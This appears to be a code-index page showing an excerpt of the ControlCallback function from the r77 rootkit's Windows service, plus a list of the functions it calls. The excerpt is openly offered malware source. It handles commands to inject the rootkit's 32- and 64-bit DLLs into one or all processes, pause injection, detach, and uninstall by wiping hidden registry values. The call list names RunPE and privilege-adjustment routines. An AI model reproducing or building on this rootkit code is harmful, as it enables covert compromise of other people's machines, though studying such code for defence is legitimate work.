MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / ControlCallback

Function ControlCallback

Service/Service.c:150–311  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

148 }
149}
150VOID ControlCallback(DWORD controlCode, HANDLE pipe)
151{
152 // The r77 service received a command from another process.
153
154 switch (controlCode)
155 {
156 case CONTROL_R77_TERMINATE_SERVICE:
157 {
158 UninitializeService();
159 break;
160 }
161 case CONTROL_R77_UNINSTALL:
162 {
163 HKEY key;
164 if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_ALL_ACCESS, &key) == ERROR_SUCCESS)
165 {
166 RegDeleteValueW(key, HIDE_PREFIX L"stager");
167 RegDeleteValueW(key, HIDE_PREFIX L"dll32");
168 RegDeleteValueW(key, HIDE_PREFIX L"dll64");
169 }
170
171 DeleteWindowsService(R77_SERVICE_NAME);
172 DetachAllInjectedProcesses();
173 UninstallR77Config();
174 UninitializeService();
175 break;
176 }
177 case CONTROL_R77_PAUSE_INJECTION:
178 {
179 IsInjectionPaused = TRUE;
180 break;
181 }
182 case CONTROL_R77_RESUME_INJECTION:
183 {
184 IsInjectionPaused = FALSE;
185 break;
186 }
187 case CONTROL_PROCESSES_INJECT:
188 {
189 DWORD processId;
190 DWORD bytesRead;
191 if (ReadFile(pipe, &processId, sizeof(DWORD), &bytesRead, NULL) && bytesRead == sizeof(DWORD))
192 {
193 InjectDll(processId, RootkitDll32, RootkitDll32Size);
194 InjectDll(processId, RootkitDll64, RootkitDll64Size);
195 }
196
197 break;
198 }
199 case CONTROL_PROCESSES_INJECT_ALL:
200 {
201 InjectAllProcesses(RootkitDll32, RootkitDll32Size, RootkitDll64, RootkitDll64Size);
202 break;
203 }
204 case CONTROL_PROCESSES_DETACH:
205 {
206 DWORD processId;
207 DWORD bytesRead;

Callers

nothing calls this directly

Calls 12

UninitializeServiceFunction · 0.85
DeleteWindowsServiceFunction · 0.85
UninstallR77ConfigFunction · 0.85
InjectDllFunction · 0.85
InjectAllProcessesFunction · 0.85
ReadFileStringWFunction · 0.85
GetProcessFileNameFunction · 0.85
RunPEFunction · 0.85
R77_RtlAdjustPrivilegeFunction · 0.85

Tested by

no test coverage detected